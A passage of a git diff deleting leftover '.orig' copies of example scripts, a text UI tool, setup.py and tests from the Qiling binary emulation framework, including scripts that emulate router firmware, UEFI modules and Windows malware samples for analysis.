open("rootfs/x8664_efi/rom2_nvar.pickel", 'rb') as f: - env = pickle.load(f) - - ql = Qiling(["rootfs/x8664_efi/bin/TcgPlatformSetupPolicy"], "rootfs/x8664_efi", env=env, verbose=QL_VERBOSE.DEBUG) - - ql.os.set_api("RegisterProtocolNotify", force_notify_RegisterProtocolNotify) - ql.os.set_api("CopyMem", my_onenter, QL_INTERCEPT.ENTER) - - ql.run() diff --git a/examples/tendaac1518_httpd.py.orig b/examples/tendaac1518_httpd.py.orig deleted file mode 100644 index 819e8310c..000000000 --- a/examples/tendaac1518_httpd.py.orig +++ /dev/null @@ -1,86 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - - -# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip -# 2. unzip -# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin -# 4. locate squashfs-root -# 5. rm -rf webroot && mv webroot_ro webroot -# -# notes: we are using rootfs in this example, so rootfs = squashfs-root -# - -import os, socket, threading - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def patcher(ql: Qiling): - br0_addr = ql.mem.search("br0".encode() + b'\x00') - - for addr in br0_addr: - ql.mem.write(addr, b'lo\x00') - -def nvram_listener(): - server_address = 'rootfs/var/cfm_socket' - data = "" - - try: - os.unlink(server_address) - except OSError: - if os.path.exists(server_address): - raise - - # Create UDS socket - sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) - sock.bind(server_address) - sock.listen(1) - - while True: - connection, _ = sock.accept() - - try: - while True: - data += str(connection.recv(1024)) - - if "lan.webiplansslen" in data: - connection.send('192.168.170.169'.encode()) - else: - break - - data = "" - finally: - connection.close() - -def myvfork(ql: Qiling): - regreturn = 0 - ql.log.info("vfork() = %d" % regreturn) - - return regreturn - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper("/dev/urandom","/dev/urandom") - ql.hook_address(patcher, ql.loader.elf_entry) - - # $ gdb-multiarch -q rootfs/bin/httpd - # gdb> set remotetimeout 100 - # gdb> target remote localhost:9999 - ql.debugger = False - - if ql.debugger == True: - ql.os.set_syscall("vfork", myvfork) - - ql.run() - -if __name__ == "__main__": - nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True) - nvram_listener_therad.start() - - my_sandbox(["rootfs/bin/httpd"], "rootfs") diff --git a/examples/uefi_sanitized_heap.py.orig b/examples/uefi_sanitized_heap.py.orig deleted file mode 100644 index 321de48ac..000000000 --- a/examples/uefi_sanitized_heap.py.orig +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import os -import sys - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.sanitizers.heap import QlSanitizedMemoryHeap - -def my_abort(msg): - print(f"\n*** {msg} ***\n") - os.abort() - -def enable_sanitized_heap(ql, fault_rate=0): - heap = QlSanitizedMemoryHeap(ql, ql.os.heap, fault_rate=fault_rate) - - heap.oob_handler = lambda *args: my_abort(f'Out-of-bounds read detected') - heap.bo_handler = lambda *args: my_abort(f'Buffer overflow/underflow detected') - heap.bad_free_handler = lambda *args: my_abort(f'Double free or bad free detected') - heap.uaf_handler = lambda *args: my_abort(f'Use-after-free detected') - - # make sure future allocated buffers are not too close to UEFI data - heap.alloc(0x1000) - - ql.os.heap = heap - ql.loader.dxe_context.heap = heap - -def sanitized_emulate(path, rootfs, fault_type, verbose=QL_VERBOSE.DEBUG): - env = {'FaultType': fault_type} - ql = Qiling([path], rootfs, env=env, verbose=verbose) - - enable_sanitized_heap(ql) - ql.run() - - if not ql.os.heap.validate(): - my_abort("Canary corruption detected") - -def usage(): - print(""" -Usage: ./uefi_santizied_heap.py -Valid fault types: -0 - POOL_OVERFLOW_MEMCPY -1 - POOL_UNDERFLOW_MEMCPY -2 - POOL_OVERFLOW_USER -3 - POOL_UNDERFLOW_USER -4 - POOL_OOB_READ_AHEAD -5 - POOL_OOB_READ_BEHIND -6 - POOL_DOUBLE_FREE -7 - POOL_INVALID_FREE -""") - sys.exit(0) - -if __name__ == "__main__": - if len(sys.argv) < 2: - usage() - - fault_type = bytes([int(sys.argv[1])]) - rootfs = os.path.join(os.getcwd(), 'rootfs', 'x8664_efi') - path = os.path.join(rootfs, 'bin', 'EfiPoolFault.efi') - - sanitized_emulate(path, rootfs, fault_type, verbose=QL_VERBOSE.DEBUG) diff --git a/examples/uselessdisk_x86_windows.py.orig b/examples/uselessdisk_x86_windows.py.orig deleted file mode 100644 index dbc765945..000000000 --- a/examples/uselessdisk_x86_windows.py.orig +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - ql = Qiling(["rootfs/x86_windows/bin/UselessDisk.bin"], "rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) - ql.run() diff --git a/examples/wannacry_x86_windows_hookaddress.py.orig b/examples/wannacry_x86_windows_hookaddress.py.orig deleted file mode 100644 index 7f7f8019c..000000000 --- a/examples/wannacry_x86_windows_hookaddress.py.orig +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def stopatkillerswtich(ql: Qiling): - print(f'killerswtch found') - ql.emu_stop() - -if __name__ == "__main__": - ql = Qiling(["rootfs/x86_windows/bin/wannacry.bin"], "rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) - ql.hook_address(stopatkillerswtich, 0x40819a) - ql.run() diff --git a/examples/windows_trace.py.orig b/examples/windows_trace.py.orig deleted file mode 100644 index 8394e3f9d..000000000 --- a/examples/windows_trace.py.orig +++ /dev/null @@ -1,139 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import os -import argparse -import pefile - -from binascii import hexlify -from capstone import * - -import sys -sys.path.append('..') - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -class colors: - if sys.stdout.isatty(): - BLUE = '\033[94m' - GREEN = '\033[92m' - YELLOW = '\033[93m' - RED = '\033[91m' - ENDC = '\033[0m' - BOLD = '\033[1m' - UNDERLINE = '\033[4m' - else: - HEADER = '' - BLUE = '' - GREEN = '' - YELLOW = '' - RED = '' - ENDC = '' - BOLD = '' - UNDERLINE = '' - - -def dump_regs(ql: Qiling): - regs = { - 'eax': ql.arch.regs.eax, - 'ebx': ql.arch.regs.ebx, - 'ecx': ql.arch.regs.ecx, - 'edx': ql.arch.regs.edx, - 'edi': ql.arch.regs.edi, - 'esi': ql.arch.regs.esi, - 'ebp': ql.arch.regs.ebp, - 'esp': ql.arch.regs.esp - } - - if not hasattr(dump_regs, 'regs'): - dump_regs.regs = regs - - rtn = '' - - # build string in order - for reg in ('eax', 'ebx', 'ecx', 'edx', 'edi', 'esi', 'ebp', 'esp'): - val = '{}: {:08X} '.format(reg.upper(), regs[reg]) - - if regs[reg] != dump_regs.regs[reg]: - rtn += colors.RED + val + colors.ENDC - else: - rtn += val - - dump_regs.regs = regs - - return rtn - - -def spaced_hex(data): - return b' '.join(hexlify(data)[i:i + 2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8') - - -def disasm(count, ql: Qiling, address: int, size: int): - buf = ql.mem.read(address, size) - try: - for i in md.disasm(buf, address): - return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic, - i.op_str) - except: - import traceback - print(traceback.format_exc()) - - -def trace(ql: Qiling): - count = [0] - ql.hook_code(trace_cb, count) - - -def trace_cb(ql: Qiling, address: int, size: int, count): - rtn = '{:100s}'.format(disasm(count, ql, address, size)) - if args.reg: - try: - rtn += dump_regs(ql) - except: - import traceback - print(traceback.format_exc()) - print(rtn) - count[0] += 1 - - -def emulate(path, rootfs, verbose=QL_VERBOSE.DEBUG, enable_trace=False): - ql = Qiling([path], rootfs, verbose=verbose) - - if enable_trace: - trace(ql) - - ql.run() - - -if __name__ == "__main__": - parser = argparse.ArgumentParser(description='Trace Windows executable') - parser.add_argument("-r", "--reg", help="Dump register values with trace option", action='store_true', - default=False) - parser.add_argument("-t", "--trace", help="Enable full trace", action='store_true', default=False) - parser.add_argument("-R", "--root", help="rootfs", default=None) - parser.add_argument("-d", "--dump", help="Directory to dump memory regions to", default="dump") - parser.add_argument("-p ", "--profile", help="customized profile", - default="qiling/profiles/windows.ql") - parser.add_argument('input', nargs='*') - args = parser.parse_args() - for path in args.input: - pe = pefile.PE(path) - - if pe.FILE_HEADER.Machine == 0x14c: - mode = 32 - md = Cs(CS_ARCH_X86, CS_MODE_32) - else: - mode = 64 - md = Cs(CS_ARCH_X86, CS_MODE_64) - - # setup default rootfs if option not provided - if not args.root: - if mode == 32: - args.root = os.path.join(os.getcwd(), 'rootfs', 'x86_windows') - else: - args.root = os.path.join(os.getcwd(), 'rootfs', 'x8664_windows') - - emulate(path, args.root, verbose=QL_VERBOSE.DEBUG, enable_trace=args.trace) diff --git a/qltui.py.orig b/qltui.py.orig deleted file mode 100644 index 8e841881f..000000000 --- a/qltui.py.orig +++ /dev/null @@ -1,675 +0,0 @@ -import os -import ast -import pickle -import re -import six -import argparse -import json - -from pyfx import PyfxApp -from pprint import pprint -from datetime import datetime - -import questionary -from questionary import Validator, ValidationError -try: - from termcolor import colored -except ImportError: - colored = None - -from qiling import Qiling -from qiling.const import os_map, arch_map, verbose_map -from qiling.extensions.coverage import utils as cov_utils - -motd = """ - ██████ ███ ████ ███ - ███░░░░███ ░░░ ░░███ ░░░ - ███ ░░███ ████ ░███ ████ ████████ ███████ -░███ ░███░░███ ░███ ░░███ ░░███░░███ ███░░███ -░███ ██░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ -░░███ ░░████ ░███ ░███ ░███ ░███ ░███ ░███ ░███ - ░░░██████░██ █████ █████ █████ ████ █████░░███████ - ░░░░░░ ░░ ░░░░░ ░░░░░ ░░░░░ ░░░░ ░░░░░ ░░░░░███ - ███ ░███ - ░░██████ - ░░░░░░ -""" - -ERROR_COLOR = "red" - -HEADING_COLOR = "green" - -OUTPUT_COLOR = "blue" - -TITLE_COLOR = "blue" - -prog = os.path.basename(__file__) - -HEX_REGEX = r'^(0[xX])[a-fA-F0-9]+$' - - -class Callback_Functions(): - """ - Callback Functions for Hook Operation - """ - - @staticmethod - def read_mem(ql: Qiling, *args): - user_data = args[-1] - buff = ql.mem.read(user_data["address"], user_data["bytes_size"]) - ql.log.info(f"Hook was triggered at -> {user_data['address']}") - ql.log.info(buff) - - @staticmethod - def read_reg(ql: Qiling, *args): - user_data = args[-1] - buff = ql.reg.read(user_data["register_name"]) - ql.log.info(f"Hook was triggered at -> {user_data['register_name']}") - ql.log.info(buff) - - @staticmethod - def write_mem(ql: Qiling, *args): - user_data = args[-1] - buff = ql.mem.write(user_data["address"], user_data["value"]) - ql.log.info(f"Hook was triggered at -> {user_data['address']}") - ql.log.info(buff) - - @staticmethod - def write_reg(ql: Qiling, *args): - user_data = args[-1] - buff = ql.reg.write(user_data["register_name"], user_data["value"]) - ql.log.info(f"Hook was triggered at -> {user_data['register_name']}") - ql.log.info(buff) - - @staticmethod - def emu_start(ql: Qiling, *args): - user_data = args[-1] - ql.emu_start(begin=user_data["start"], end=user_data["end"]) - - @staticmethod - def emu_stop(ql: Qiling, *args): - ql.log.info('killer switch found, stopping') - ql.emu_stop() - - @staticmethod - def save(ql: Qiling, *args): - ql.save() - -def env_arg(value): - """ - Function to read env parameter - """ - if value == "{}": - return {} - else: - if os.path.exists(value): - with open(value, 'rb') as f: - env = pickle.load(f) - else: - env = ast.literal_eval(value) - return env - - -def verbose_arg(value): - """ - Function to map Verbose - """ - return verbose_map[value] - - -def read_file(fname: str): - """ - Function to read code from file - """ - with open(fname, "rb") as f: - content = f.read() - - return content - -if colored: - def log(string, color): - """ - Function to beautify terminal output - """ - six.print_(colored(string, color)) -else: - def log(string, color): - """ - Function to beautify terminal output - """ - six.print_(string) - - -class IntValidator(Validator): - """ - Integer validator - """ - def validate(self, value): - try: - int(value.text) - return True - except: - raise ValidationError( - message="Integer required", - cursor_position=len(value.text)) - - -class HexValidator(Validator): - """ - Hex validator - """ - def validate(self, value): - if re.match(HEX_REGEX, value.text): - return True - else: - raise ValidationError( - message="Address required", - cursor_position=len(value.text)) - - -class IntHexValidator(Validator): - """ - Integer/Hex validator - """ - def validate(self, value): - if re.match(HEX_REGEX, str(value.text)): - return True - else: - try: - int(value.text) - return True - except: - raise ValidationError( - message="Integer or Hex required", - cursor_position=len(value.text)) - -class DirectoryPathValidator(Validator): - """ - Required Directory Path validator - """ - def validate(self, value): - if len(value.text): - if os.path.isdir(value.text): - return True - else: - raise ValidationError( - message="Directory not found", - cursor_position=len(value.text)) - else: - return True - - -class RequiredDirectoryPathValidator(Validator): - """ - Directory Path validator - """ - def validate(self, value): - if len(value.text): - if os.path.isdir(value.text): - return True - else: - raise ValidationError( - message="Directory not found", - cursor_position=len(value.text)) - else: - raise ValidationError( - message="You can't leave this blank", - cursor_position=len(value.text)) - - -class FilePathValidator(Validator): - """ - File Path validator - """ - def validate(self, value): - if len(value.text): - if os.path.isfile(value.text): - return True - else: - raise ValidationError( - message="File not found", - cursor_position=len(value.text)) - else: - return True - - -class ENVFilePathValidator(Validator): - """ - File Path validator for env parameter - """ - def validate(self, value): - if value.text == "{}": - return True - if len(value.text): - if os.path.isfile(value.text): - return True - else: - raise ValidationError( - message="File not found", - cursor_position=len(value.text)) - else: - return True - - -def ask_option(): - """ - Ask for operation(run/code) - """ - answer = questionary.select( - "Select an Option:", - choices=['Run', 'Code']).ask() - - return answer.lower() - - -def ask_run_options(): - """ - Ask arguments for run - """ - filename = questionary.path("filename:", validate=FilePathValidator).ask() - - rootfs = questionary.path("rootfs:", only_directories=True, - validate=RequiredDirectoryPathValidator).ask() - - args = questionary.text("args:").ask() - args = args.split() - - run_args = questionary.text("run_args:").ask() - run_args = run_args.split() - - return {"filename": filename, "rootfs": rootfs, "args": args, - "run_args": run_args} - - -def ask_code_options(): - """ - Ask arguments for code - """ - filename = questionary.path("filename:", validate=FilePathValidator).ask() - - input_ = questionary.text("input:").ask() - if not input_: - input_ = None - - format_ = questionary.select( - "format:", - choices=['bin', 'asm', 'hex']).ask() - - arch = questionary.select( - "arch:", - choices=arch_map).ask() - - endian = questionary.select( - "endian:", - choices=['little', 'big']).ask() - - os = questionary.select( - "os:", - choices=os_map).ask() - - rootfs = questionary.path("rootfs:", only_directories=True, - validate=RequiredDirectoryPathValidator, default=".").ask() - - thumb = questionary.confirm("thumb:", - default=False, auto_enter=True).ask() - - return {"filename": filename, "input": input_, "format": format_, - "arch": arch, "endian": endian, "os": os, "rootfs": rootfs, - "thumb": thumb} - - -def ask_additional_options(): - """ - Ask additional options for run/code - """ - options = {} - - verbose = questionary.select( - "verbose:", - choices=list(verbose_map.keys()), - default="default").ask() - verbose = verbose_arg(verbose) - - env = questionary.path("env:", default="{}", validate=ENVFilePathValidator).ask() - env = env_arg(env) - - debug = questionary.confirm("debug:", - default=False, auto_enter=True).ask() - gdb = None - qdb, rr = False, False - if debug: - gdb = questionary.text("\tgdb:").ask() - - qdb = questionary.confirm("\tqdb:", - default=False, auto_enter=True).ask() - - rr = questionary.confirm("\trr:", - default=False, auto_enter=True).ask() - - profile = questionary.text("profile:").ask() - if not profile: - profile = None - - console = questionary.confirm("console:", - default=True, auto_enter=True).ask() - - filter_ = questionary.text("filter:").ask() - if not filter_: - filter_ = None - - log_file = questionary.path("log-file:", validate=FilePathValidator).ask() - if not log_file: - log_file = None - - log_plain = questionary.confirm("log-plain:", - default=False, auto_enter=True).ask() - - root = questionary.confirm("root:", - default=False, auto_enter=True).ask() - - debug_stop = questionary.confirm("debug-stop:", - default=False, auto_enter=True).ask() - - multithread = questionary.confirm("multithread:", - default=False, auto_enter=True).ask() - - timeout = int(questionary.text("profile:", default="0", validate=IntValidator).ask()) - - coverage = questionary.confirm("coverage:", - default=False, auto_enter=True).ask() - coverage_file = None - coverage_format = "drcov" - if coverage: - coverage_file = questionary.path("\tcoverage-file:", validate=FilePathValidator).ask() - - coverage_format = questionary.select( - "\tcoverage-format:", - choices=list(cov_utils.factory.formats), - default="drcov").ask() - - json_ = questionary.confirm("json:", - default=False, auto_enter=True).ask() - - libcache = questionary.confirm("libcache:", - default=False, auto_enter=True).ask() - - options = {"verbose": verbose, "env": env, "gdb": gdb, "qdb": qdb, "rr": rr, "profile": profile, "console": console, - "filter": filter_, "log_file": log_file, - "log_plain": log_plain, "root": root, "debug_stop": debug_stop, - "multithread": multithread, "timeout": timeout, - "coverage_file": coverage_file, "coverage_format": coverage_format, - "json": json_, "libcache": libcache} - - return options - - -def get_data(): - """ - Main Qltui function - """ - print(motd) - log("Welcome to Qiling", HEADING_COLOR) - log("Cross Platform and Multi Architecture Advanced Binary Emulation Framework", HEADING_COLOR) - - command = ask_option() - - if command == 'run': - log("Select Run Options", OUTPUT_COLOR) - command_options = ask_run_options() - - log("Select Additional Options", OUTPUT_COLOR) - additional_options = ask_additional_options() - - elif command == 'code': - log("Select Code Options", OUTPUT_COLOR) - command_options = ask_code_options() - - log("Select Additional Options", OUTPUT_COLOR) - additional_options = ask_additional_options() - - else: - log("Error", ERROR_COLOR) - - command_options.update(additional_options) - options = command_options - options['subcommand'] = command - - namespace = argparse.Namespace(**options) - - return namespace - - -def ask_report(): - """ - Ask for the format of report - """ - answer = questionary.select( - "Select an Option:", - choices=['Report', 'Interactive Report', 'Save to Json', 'Quit']).ask() - - return answer.lower() - - -def show_report(ql: Qiling, report, hook_dictionary): - """ - Ask if user wants to see the report - """ - log("Report", HEADING_COLOR) - - os_map_reverse = dict(zip(os_map.values(), os_map.keys())) - arch_map_reverse = dict(zip(arch_map.values(), arch_map.keys())) - - os_name = os_map_reverse[ql.os.type] - arch_name = arch_map_reverse[ql.arch.type] - - if hook_dictionary: - for key in ['hook_target_address', 'address']: - if key in hook_dictionary: - hook_dictionary[key] = hex(hook_dictionary[key]) - report["hook"] = hook_dictionary - - while True: - command = ask_report() - - if command == 'report': - pprint(report) - elif command == 'interactive report': - PyfxApp(data=report).run() - elif command == 'save to json': - time = datetime.now().strftime("%Y_%m_%d_%H-%M-%S") - report_name = f"report_{ql.targetname.replace('.', '_')}_{os_name}_{arch_name}_{time}.json" - with open(report_name, "w") as json_file: - json_file.write(json.dumps(report)) - print(f"The report was saved in your current directory as {report_name}") - elif command == 'quit': - break - - -def want_to_hook(): - """ - Ask if user wants to hook - """ - answer = questionary.confirm("Want to Hook:", - default=False, auto_enter=True).ask() - - return answer - - -def ask_hook_type(): - """ - Ask for the type of hook - """ - answer = questionary.select( - "Select an Option:", - choices=['hook_address', 'hook_code', 'hook_block', 'hook_intno', - 'hook_mem_unmapped', 'hook_mem_read_invalid', - 'hook_mem_write_invalid', 'hook_mem_fetch_invalid', 'hook_mem_invalid', - 'hook_mem_read', 'hook_mem_write', 'hook_mem_fetch']).ask() - - return answer.lower() - - -def ask_hook_operation(): - """ - Ask for the hook operation - """ - answer = questionary.select( - "Select an Option:", - choices=['read', 'write', 'emu_start', 'emu_stop', 'save']).ask() - - return answer.lower() - - -def get_bytes_size(): - """ - Ask for bytes size - """ - answer = questionary.text("bytes_size:", validate=IntValidator).ask() - - if re.match(HEX_REGEX, str(answer)): - return int(answer, 16) - - return int(answer) - - -def ask_value(): - """ - Ask for value - """ - answer = questionary.text("value:").ask() - - return bytes(answer, 'utf-8') - - -def ask_where(): - """ - Ask what to Hook - """ - answer = questionary.select( - "Select an Option:", - choices=['Memory', 'Register']).ask() - - return answer.lower()[:3] - - -def ask_start_end(): - """ - Ask for start and end points for emulator start - """ - start = questionary.text("address_start:").ask() - end = questionary.text("address_end:", default="0x0").ask() - - return {"start": int(start, 16), "end": int(end, 16)} - - -def ask_address(): - """ - Ask for address to hook - """ - address = questionary.text("address:", validate=HexValidator).ask() - - return int(address, 16) - - -def ask_hook_address(): - """ - Ask for address to hook - """ - address = questionary.text("Hook Traget Address:", validate=HexValidator).ask() - - return int(address, 16) - - -def ask_register_name(): - """ - Ask register name - """ - answer = questionary.text("register_name:").ask() - - return answer - - -def hook(ql: Qiling): - """ - Hook Function - """ - - log("Hook", HEADING_COLOR) - - hook_dictionary = {} - - do_hook = want_to_hook() - - if do_hook: - hook_type = ask_hook_type() - hook_dictionary["hook_type"] = hook_type - - operation = ask_hook_operation() - hook_dictionary["operation"] = operation - - args = [] - user_data = {} - - if hook_type == "hook_address": - hook_target_address = ask_hook_address() - args.append(hook_target_address) - hook_dictionary["hook_target_address"] = hook_target_address - - if operation in ['read', 'write']: - where = ask_where() - hook_dictionary["storage"] = where - if where == 'mem': - address = ask_address() - user_data["address"] = address - hook_dictionary["address"] = address - if operation == 'read': - bytes_size = get_bytes_size() - user_data["bytes_size"] = bytes_size - hook_dictionary["bytes_size"] = bytes_size - operation = 'read_mem' - else: - value = ask_value() - user_data["value"] = value - hook_dictionary["value"] = value - operation = 'write_mem' - else: - register_name = ask_register_name() - user_data["register_name"] = register_name - hook_dictionary["register_name"] = register_name - if operation == 'read': - operation = 'read_reg' - else: - value = ask_value() - user_data["value"] = value - hook_dictionary["value"] = value - operation = 'write_reg' - - if operation == 'emu_start': - start_end = ask_start_end() - user_data["start"] = start_end["start"] - user_data["end"] = start_end["end"] - hook_dictionary["start"] = start - hook_dictionary["end"] = end - - if user_data: - hook_dictionary["user_data"] = user_data - - getattr(ql, hook_type)(getattr(Callback_Functions, operation), *args, user_data=user_data) - - return hook_dictionary - - -def transform_syscalls(syscalls, keys=["address"], func=lambda x: hex(x)): - for i in syscalls: - try: - if isinstance(i, list) or isinstance(i, dict): - transform_syscalls(i, keys, func) - elif isinstance(syscalls[i], list) or isinstance(syscalls[i], dict): - transform_syscalls(syscalls[i], keys, func) - - if i in keys and isinstance(syscalls[i], int): - syscalls[i] = func(syscalls[i]) - except: - pass - - return syscalls diff --git a/setup.py.orig b/setup.py.orig deleted file mode 100644 index e20cc80bc..000000000 --- a/setup.py.orig +++ /dev/null @@ -1,102 +0,0 @@ -#!/usr/bin/env python3 -# -# Python setup for Qiling framework - -from setuptools import setup, find_packages - -# NOTE: use "-dev" for dev branch -VERSION = "1.4.5" + "-dev" -#VERSION = "1.4.4" - -requirements = [ - "capstone>=4.0.1", - "unicorn>=2.0.1", - "pefile>=2022.5.30", - "python-registry>=1.3.1", - "keystone-engine>=0.9.2", - "pyelftools>=0.28", - "gevent>=20.9.0", - "multiprocess>=0.70.12.2", - "windows-curses>=2.1.0;platform_system=='Windows'", - "pyyaml>=6.0", - "python-fx", - "questionary", - "termcolor", -] - -extras = { - "evm": [ - "blake2b-py>=0.1.2", - "cached-property>=1.5.2;python_version<'3.8'", - "typing-extensions>=3.7.4.3;python_version<'3.8'", - "eth-keys>=0.2.1", - "eth-typing>=2.2.0", - "eth-utils>=1.9.4", - "eth_abi>=2.1.1", - "lru-dict>=1.1.6", - "py-ecc>=1.4.7", - "rlp>=2", - "trie==2.0.0-alpha.5", - "eth-hash[pycryptodome]", - "numpy", - "rich", - "cmd2" - ], - "fuzz" : [ - "unicornafl>=2.0.0;platform_system!='Windows'", - "fuzzercorn>=0.0.1;platform_system=='Linux'" - ], - "RE": [ - "r2libr>=5.7.4", - ] -} - -with open("README.md", "r", encoding="utf-8") as ld: - long_description = ld.read() - -setup( - name='qiling', - version=VERSION, - - description='Qiling is an advanced binary emulation framework that cross-platform-architecture', - url='http://qiling.io', - long_description=long_description, - long_description_content_type="text/markdown", - maintainer='KaiJern Lau (xwings)', - maintainer_email='info@qiling.io', - - license='GPLv2', - - # See https://pypi.python.org/pypi?%3Aaction=list_classifiers - classifiers=[ - # How mature is this project? Common values are - # 3 - Alpha - # 5 - Production/Stable - #'Development Status :: 5 - Production/Stable', - 'Development Status :: 3 - Alpha', - - # Indicate who your project is intended for - 'Intended Audience :: Developers', - 'Topic :: Software Development :: Build Tools', - - # Pick your license as you wish (should match "license" above) - 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', - - # Specify the Python versions you support here. In particular, ensure - # that you indicate whether you support Python 2, Python 3 or both. - 'Programming Language :: Python :: 3', - ], - - keywords='qiling binary emulator framework malware analysis UEFI IoT', - - packages=find_packages(), - scripts=['qltool'], - package_data={ - 'qiling': ['profiles/*.ql'], - 'qiling.debugger.gdb': ['xml/*/*'], - 'qiling.os.uefi': ['guids.csv'], - 'qiling.arch.evm.analysis': ['signatures.json'] - }, - install_requires=requirements, - extras_require=extras, -) diff --git a/tests/test_android.py.orig b/tests/test_android.py.orig deleted file mode 100644 index 1556bc02d..000000000 --- a/tests/test_android.py.orig +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import platform, sys, unittest -from collections import defaultdict - -sys.path.append("..") -from qiling import Qiling -from qiling.os.mapper import QlFsMappedObject -from qiling.os.posix import syscall - - -class Fake_maps(QlFsMappedObject): - def __init__(self, ql: Qiling): - self.ql = ql - - def read(self, size): - return ''.join(f'{lbound:x}-{ubound:x} {perms}p {label}\n' for lbound, ubound, perms, label, _ in self.ql.mem.get_mapinfo()).encode() - - def fstat(self): - return defaultdict(int) - - def close(self): - return 0 - - -def my_syscall_close(ql: Qiling, fd: int) -> int: - if fd in (0, 1, 2): - return 0 - - return syscall.ql_syscall_close(ql, fd) - - -# addresses specified on non-fixed mmap calls are used as hints, where the allocated -# address can never be less than the value set for mmap_address. nevertheless, android -# uses a non-fixed mmap call to map "/system/framework/arm64/boot.art" at 0x70000000 -# and fails if mmap allocates it elsewhere. -# -# this override sets a lower value for mmap_address to allow android map the file using -# a non-fixed mmap call to exactly where it wants it to be. -OVERRIDES = {'mmap_address': 0x68000000} - - -class TestAndroid(unittest.TestCase): - @unittest.skipUnless(platform.system() == 'Linux', 'run only on Linux') - def test_android_arm64(self): - test_binary = "../examples/rootfs/arm64_android6.0/bin/arm64_android_jniart" - rootfs = "../examples/rootfs/arm64_android6.0" - env = { - 'ANDROID_DATA': r'/data', - 'ANDROID_ROOT': r'/system' - } - - ql = Qiling([test_binary], rootfs, env, profile={'OS64': OVERRIDES}, multithread=True) - - ql.os.set_syscall("close", my_syscall_close) - ql.add_fs_mapper("/proc/self/task/2000/maps", Fake_maps(ql)) - ql.run() - - del ql - - @unittest.skipUnless(platform.system() == 'Linux', 'run only on Linux') - def test_android_arm(self): - test_binary = "../examples/rootfs/arm64_android6.0/bin/arm_android_jniart" - rootfs = "../examples/rootfs/arm64_android6.0" - env = { - 'ANDROID_DATA': r'/data', - 'ANDROID_ROOT': r'/system' - } - - ql = Qiling([test_binary], rootfs, env, profile={'OS32': OVERRIDES}, multithread=True) - - ql.os.set_syscall("close", my_syscall_close) - ql.add_fs_mapper("/proc/self/task/2000/maps", Fake_maps(ql)) - ql.run() - - del ql - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_blob.py.orig b/tests/test_blob.py.orig deleted file mode 100644 index 1a702f01c..000000000 --- a/tests/test_blob.py.orig +++ /dev/null @@ -1,68 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest -sys.path.append("..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.os.const import STRING - -class BlobTest(unittest.TestCase): - def test_uboot_arm(self): - def my_getenv(ql, *args, **kwargs): - env = {"ID": b"000000000000000", "ethaddr": b"11:22:33:44:55:66"} - params = ql.os.resolve_fcall_params({'key': STRING}) - value = env.get(params["key"], b"") - - value_addr = ql.os.heap.alloc(len(value)) - ql.mem.write(value_addr, value) - - ql.arch.regs.r0 = value_addr - ql.arch.regs.arch_pc = ql.arch.regs.lr - - def check_password(ql, *args, **kwargs): - passwd_output = ql.mem.read(ql.arch.regs.r0, ql.arch.regs.r2) - passwd_input = ql.mem.read(ql.arch.regs.r1, ql.arch.regs.r2) - self.assertEqual(passwd_output, passwd_input) - - def partial_run_init(ql): - # argv prepare - ql.arch.regs.arch_sp -= 0x30 - arg0_ptr = ql.arch.regs.arch_sp - ql.mem.write(arg0_ptr, b"kaimendaji") - - ql.arch.regs.arch_sp -= 0x10 - arg1_ptr = ql.arch.regs.arch_sp - ql.mem.write(arg1_ptr, b"013f1f") - - ql.arch.regs.arch_sp -= 0x20 - argv_ptr = ql.arch.regs.arch_sp - ql.mem.write_ptr(argv_ptr, arg0_ptr) - ql.mem.write_ptr(argv_ptr + ql.arch.pointersize, arg1_ptr) - - ql.arch.regs.r2 = 2 - ql.arch.regs.r3 = argv_ptr - - print("ARM uboot bin") - - with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f: - uboot_code = f.read() - - ql = Qiling(code=uboot_code[0x40:], archtype="arm", ostype="blob", profile="profiles/uboot_bin.ql", verbose=QL_VERBOSE.DEBUG) - - image_base_addr = ql.loader.load_address - ql.hook_address(my_getenv, image_base_addr + 0x13AC0) - ql.hook_address(check_password, image_base_addr + 0x48634) - - partial_run_init(ql) - - ql.run(image_base_addr + 0x486B4, image_base_addr + 0x48718) - - del ql - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_debugger.py.orig b/tests/test_debugger.py.orig deleted file mode 100644 index 9003fe1cb..000000000 